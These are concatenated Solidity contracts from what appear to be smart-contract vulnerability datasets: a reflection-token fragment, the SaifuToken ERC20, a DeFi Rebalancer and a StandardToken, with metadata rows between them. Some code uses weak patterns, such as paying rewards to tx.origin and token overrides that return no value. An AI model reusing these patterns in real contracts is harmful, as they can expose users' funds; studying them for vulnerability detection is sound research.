(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tBurn = tAmount.mul(burnFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() public view returns(uint256) {
return _maxTxAmount;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 0 && taxFee <= 10, 'taxFee should be in 0 - 10');
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
require(burnFee >= 0 && burnFee <= 10, 'burnFee should be in 0 - 10');
_burnFee = burnFee;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= 0 , 'maxTxAmount should be greater than 0');
_maxTxAmount = maxTxAmount;
}
}
| 96,089 | 160 |
0c544d232876a8870683f8dce91d18cc8602a2d543db2a5b5a3d9e15e369eaa9
| 17,644 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x82ba2b46483266068f340d538dab41394d01c782.sol
| 2,921 | 10,569 |
pragma solidity ^0.4.19;
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts/FreezableToken.sol
contract FreezableToken is Ownable {
mapping (address => bool) public frozenList;
event FrozenFunds(address indexed wallet, bool frozen);
function freezeAccount(address _wallet) onlyOwner public {
require(_wallet != address(0));
frozenList[_wallet] = true;
FrozenFunds(_wallet, true);
}
function unfreezeAccount(address _wallet) onlyOwner public {
require(_wallet != address(0));
frozenList[_wallet] = false;
FrozenFunds(_wallet, false);
}
function isFrozen(address _wallet) public view returns (bool) {
return frozenList[_wallet];
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/SafeERC20.sol
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
// File: contracts/TokenTimelock.sol
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
// ERC20 basic token contract being held
ERC20Basic public token;
// beneficiary of tokens after they are released
address public beneficiary;
// timestamp when token release is enabled
uint256 public releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint256 _releaseTime) public {
require(_releaseTime > now);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(now >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
// Change safeTransfer -> transfer because issue with assert function with ref type.
token.transfer(beneficiary, amount);
}
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/SaifuToken.sol
contract SaifuToken is StandardToken, FreezableToken {
using SafeMath for uint256;
string constant public name = "Saifu";
string constant public symbol = "SFU";
uint8 constant public decimals = 18;
uint256 constant public INITIAL_TOTAL_SUPPLY = 200e6 * (uint256(10) ** decimals);
uint256 constant public AMOUNT_TOKENS_FOR_SELL = 130e6 * (uint256(10) ** decimals);
uint256 constant public RESERVE_FUND = 20e6 * (uint256(10) ** decimals);
uint256 constant public RESERVED_FOR_TEAM = 50e6 * (uint256(10) ** decimals);
uint256 constant public RESERVED_TOTAL_AMOUNT = 70e6 * (uint256(10) ** decimals);
uint256 public alreadyReservedForTeam = 0;
bool private isReservedFundsDone = false;
address public burnAddress;
uint256 private setBurnAddressCount = 0;
// Key: address of wallet, Value: address of contract.
mapping (address => address) private lockedList;
modifier onlyBurnAddress() {
require(msg.sender == burnAddress);
_;
}
function SaifuToken() public {
totalSupply_ = totalSupply_.add(INITIAL_TOTAL_SUPPLY);
balances[owner] = balances[owner].add(AMOUNT_TOKENS_FOR_SELL);
Transfer(address(0), owner, AMOUNT_TOKENS_FOR_SELL);
balances[this] = balances[this].add(RESERVED_TOTAL_AMOUNT);
Transfer(address(0), this, RESERVED_TOTAL_AMOUNT);
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(!isFrozen(msg.sender));
super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(!isFrozen(msg.sender));
require(!isFrozen(_from));
super.transferFrom(_from, _to, _value);
}
function setBurnAddress(address _address) onlyOwner public {
require(setBurnAddressCount < 3);
require(_address != address(0));
burnAddress = _address;
setBurnAddressCount = setBurnAddressCount.add(1);
}
function reserveFunds(address _address) onlyOwner public {
require(_address != address(0));
require(!isReservedFundsDone);
sendFromContract(_address, RESERVE_FUND);
isReservedFundsDone = true;
}
function getLockedContract(address _address) public view returns(address) {
return lockedList[_address];
}
function reserveForTeam(address _address, uint256 _amount, uint256 _time) onlyOwner public {
require(_address != address(0));
require(_amount > 0 && _amount <= RESERVED_FOR_TEAM.sub(alreadyReservedForTeam));
if (_time > 0) {
address lockedAddress = new TokenTimelock(this, _address, now.add(_time * 1 days));
lockedList[_address] = lockedAddress;
sendFromContract(lockedAddress, _amount);
} else {
sendFromContract(_address, _amount);
}
alreadyReservedForTeam = alreadyReservedForTeam.add(_amount);
}
function sendWithFreeze(address _address, uint256 _amount, uint256 _time) onlyOwner public {
require(_address != address(0) && _amount > 0 && _time > 0);
address lockedAddress = new TokenTimelock(this, _address, now.add(_time));
lockedList[_address] = lockedAddress;
transfer(lockedAddress, _amount);
}
function unlockTokens(address _address) public {
require(lockedList[_address] != address(0));
TokenTimelock lockedContract = TokenTimelock(lockedList[_address]);
lockedContract.release();
}
function burnFromAddress(uint256 _amount) onlyBurnAddress public {
require(_amount > 0);
require(_amount <= balances[burnAddress]);
balances[burnAddress] = balances[burnAddress].sub(_amount);
totalSupply_ = totalSupply_.sub(_amount);
Transfer(burnAddress, address(0), _amount);
}
function sendFromContract(address _address, uint256 _amount) internal {
balances[this] = balances[this].sub(_amount);
balances[_address] = balances[_address].add(_amount);
Transfer(this, _address, _amount);
}
}
| 181,812 | 161 |
5ea251adb6acc4b72cc85fa157242af57a2bdc2d265b954529986d4d5b9c0e41
| 25,144 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/84/84a0041a8a372d5bd3a8c5e10c18a29754bb6732_Rebalancer.sol
| 4,218 | 16,233 |
// Sources flattened with hardhat v2.2.1 https://hardhat.org
// File contracts/dependencies/uniswap-v2-periphery/contracts/interfaces/IUniswapV2Router01.sol
pragma solidity 0.7.6;
// SPDX-License-Identifier: MIT
interface IUniswapV2Router01 {
function factory() external view returns (address);
function WETH() external view returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// File contracts/dependencies/uniswap-v2-periphery/contracts/interfaces/IUniswapV2Router02.sol
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
// File @openzeppelin/contracts/utils/[emailprotected]
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File @openzeppelin/contracts/math/[emailprotected]
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File contracts/dependencies/uniswap-v2-periphery/contracts/interfaces/IWETH.sol
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
// File @openzeppelin/contracts/token/ERC20/[emailprotected]
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File contracts/interfaces/IRena.sol
interface IRena is IERC20 {
function approve(address, uint256) external override returns(bool);
function addressManager() external view returns(address);
function balanceOf(address) external view override returns(uint256);
function transfer(address, uint256) external override returns(bool);
function treasury() external returns(address payable);
function rebalancer() external returns(address payable);
function callerRewardDivisor() external returns(uint16);
}
// File contracts/interfaces/IAddressManager.sol
interface IAddressManager {
function WETH() external view returns(address);
function renaRouter() external view returns(address);
function uniRouter() external view returns(address);
function uniFactory() external view returns(address);
function uniPair() external view returns(address);
function renaFactory() external view returns(address);
function feeDistributor() external view returns(address);
function claim() external view returns(address);
function lpStaking() external view returns(address);
}
// File contracts/interfaces/IFeeDistributor.sol
interface IFeeDistributor {
function distributeFees() external;
}
// File contracts/interfaces/ILPStaking.sol
interface ILPStaking {
function withdrawFromTo(address owner, uint256 _pid, uint256 _amount, address _to) external;
function claim(address _from, uint256 _pid) external;
function pendingrena(uint256 pid_, address account_) external view returns(uint256);
function addPendingRewards() external;
function massUpdatePools() external;
}
// File contracts/interfaces/IRebalancer.sol
interface IRebalancer {
function rebalance(uint16 callerRewardDivisor, uint16 rebalanceDivisor) external;
function refill() payable external;
}
// File contracts/Rebalancer.sol
contract Rebalancer is IRebalancer, ReentrancyGuard {
using SafeMath for uint256;
IRena rena;
address public burnAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public refillAmount;
event Rebalanced(address indexed caller, uint256 reward, uint256 indexed stakeReward, uint256 indexed burned, uint256 renaswapDrip);
constructor(address rena_) {
rena = IRena(rena_);
}
//The Ethereum being accumulated here from the Claim is intended to refill the rebalancer.
//The other ETH sent comes from RENA/rETH intended to purchase RENA and distribute to stakers.
receive() external payable {
}
function refill() payable external override {
require(msg.sender == IAddressManager(rena.addressManager()).claim(), "Only claim can refill");
refillAmount = refillAmount.add(msg.value);
}
function rebalance(uint16 callerRewardDivisor, uint16 rebalanceDivisor) override external nonReentrant {
require(msg.sender == address(rena), "You aren't Rena");
//The accumluated balance from any other address will buy RENA for Staking.
address uniPair = IAddressManager(rena.addressManager()).uniPair();
uint256 liquidityRemoved = IERC20(uniPair).balanceOf(address(this)).div(rebalanceDivisor);
remLiquidity(liquidityRemoved, uniPair);
uint256 reward = address(this).balance.sub(refillAmount) / rena.callerRewardDivisor();
if(callerRewardDivisor > 0) {
tx.origin.transfer(reward);
rena.treasury().transfer(reward);
}
uint256 ethForStaking = IERC20(IAddressManager(rena.addressManager()).WETH()).balanceOf(address(this));
uint256 whole = address(this).balance.add(ethForStaking);
//We need to buy Rena for the stakers, refill and rebalance effects.
swapEthForRena(address(this).balance.sub(refillAmount).add(refillAmount.div(2)), ethForStaking);
uint256 renaBought = rena.balanceOf(address(this));
if(refillAmount > 0) {
uint256 renaRefilled = renaBought.mul(refillAmount.div(2)).div(whole);
rena.approve(IAddressManager(rena.addressManager()).uniRouter(), renaRefilled);
IUniswapV2Router02(IAddressManager(rena.addressManager()).uniRouter()).addLiquidityETH{value:refillAmount.div(2)}(address(rena),
renaRefilled,
0,
0,
address(this),
block.timestamp);
refillAmount = 0;
}
address lpStaking = IAddressManager(rena.addressManager()).lpStaking();
uint256 stakeReward = renaBought.mul(ethForStaking).div(whole);
rena.transfer(lpStaking, stakeReward);
ILPStaking(lpStaking).addPendingRewards();
ILPStaking(lpStaking).massUpdatePools();
refillAmount = 0;
uint256 remaining = rena.balanceOf(address(this));
uint256 burned = remaining.div(5).mul(2);
uint256 renaswapDrip = remaining.sub(burned);
rena.transfer(burnAddress, burned);
rena.transfer(IAddressManager(rena.addressManager()).feeDistributor(), renaswapDrip);
IFeeDistributor(IAddressManager(rena.addressManager()).feeDistributor()).distributeFees(); //Depending on gas limits, this may have to be removed.
emit Rebalanced(tx.origin, reward, stakeReward, burned, renaswapDrip);
}
function swapEthForRena(uint256 amount, uint256 wethForStaking) internal {
address[] memory path = new address[](2);
address WETH = IAddressManager(rena.addressManager()).WETH();
address router = IAddressManager(rena.addressManager()).uniRouter();
path[0] = WETH;
path[1] = address(rena);
IERC20(WETH).approve(router, amount.add(wethForStaking));
IWETH(WETH).deposit{value:amount}();
IUniswapV2Router02(router).swapExactTokensForTokensSupportingFeeOnTransferTokens
(amount.add(wethForStaking), 0, path, address(this), block.timestamp);
}
function remLiquidity(uint256 amount_, address uniPair) internal returns(uint256 ethAmount) {
address router = IAddressManager(rena.addressManager()).uniRouter();
IERC20(uniPair).approve(router, amount_);
(ethAmount) = IUniswapV2Router02(router).removeLiquidityETHSupportingFeeOnTransferTokens(address(rena),
amount_,
0,
0,
address(this),
block.timestamp);
}
function sync() external {}
}
| 321,859 | 162 |
62cc18f2992990391951c169320877391579929ddba8405ad6e255a4f2a9e892
| 13,610 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs-wild-clean-contracts/0xc617d51e3a1f621da8ae67b2f652d6ac02eb8d95.sol
| 3,078 | 12,044 |
pragma solidity ^0.5.8;
/// @title ERC20 Token Interface
/// @author Hoard Team
/// @notice See https://github.com/ethereum/EIPs/issues/20
contract ERC20Token {
// PUBLIC INTERFACE
// /// @dev Returns total amount of tokens
// /// @notice params -> (uint256 totalSupply)
// function totalSupply () constant public returns (uint256);
/// @dev Returns balance of specified account
/// @notice params -> (address _owner)
function balanceOf (address) view public returns (uint256);
/// @dev Transfers tokens from msg.sender to a specified address
/// @notice params -> (address _to, uint256 _value)
function transfer (address, uint256) public returns (bool);
/// @dev Allowance mechanism - delegated transfer
/// @notice params -> (address _from, address _to, uint256 _value)
function transferFrom (address, address, uint256) public returns (bool);
/// @dev Allowance mechanism - approve delegated transfer
/// @notice params -> (address _spender, uint256 _value)
function approve (address, uint256) public returns (bool);
/// @dev Allowance mechanism - set allowance for specified address
/// @notice params -> (address _owner, address _spender)
function allowance (address, address) public view returns (uint256);
// EVENTS
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/// @title Safe Math
/// @author Open Zeppelin
library SafeMath {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
/// @title Standard ERC20 compliant token
/// @author Hoard Team
/// @notice Original taken from https://github.com/ethereum/EIPs/issues/20
/// @notice SafeMath used as specified by OpenZeppelin
contract StandardToken is ERC20Token {
using SafeMath for uint256;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
/// @dev transfer token for a specified address
/// @param _to The address to transfer to.
/// @param _value The amount to be transferred.
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].safeSub(_value);
balances[_to] = balances[_to].safeAdd(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/// @dev Transfer tokens from one address to another
/// @param _from address The address which you want to send tokens from
/// @param _to address The address which you want to transfer to
/// @param _value uint256 the amount of tokens to be transferred
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
uint256 _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].safeAdd(_value);
balances[_from] = balances[_from].safeSub(_value);
allowed[_from][msg.sender] = _allowance.safeSub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/// @dev Gets the balance of the specified address.
/// @param _owner The address to query the the balance of.
/// @return An uint256 representing the amount owned by the passed address.
function balanceOf(address _owner) view public returns (uint256) {
return balances[_owner];
}
/// @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
/// @param _spender The address which will spend the funds.
/// @param _value The amount of tokens to be spent.
function approve(address _spender, uint256 _value) public returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/// @dev Function to check the amount of tokens that an owner allowed to a spender.
/// @param _owner address The address which owns the funds.
/// @param _spender address The address which will spend the funds.
/// @return A uint256 specifying the amount of tokens still available for the spender.
function allowance(address _owner, address _spender) view public returns (uint256) {
return allowed[_owner][_spender];
}
/// @notice approve should be called when allowed[_spender] == 0. To increment
/// allowed value it is better to use this function to avoid 2 calls (and wait until
/// the first transaction is mined)
function increaseApproval (address _spender, uint256 _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].safeAdd(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/// @notice approve should be called when allowed[_spender] == 0. To decrement
/// allowed value it is better to use this function to avoid 2 calls (and wait until
/// the first transaction is mined)
function decreaseApproval (address _spender, uint256 _subtractedValue) public returns (bool) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue - _subtractedValue;
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
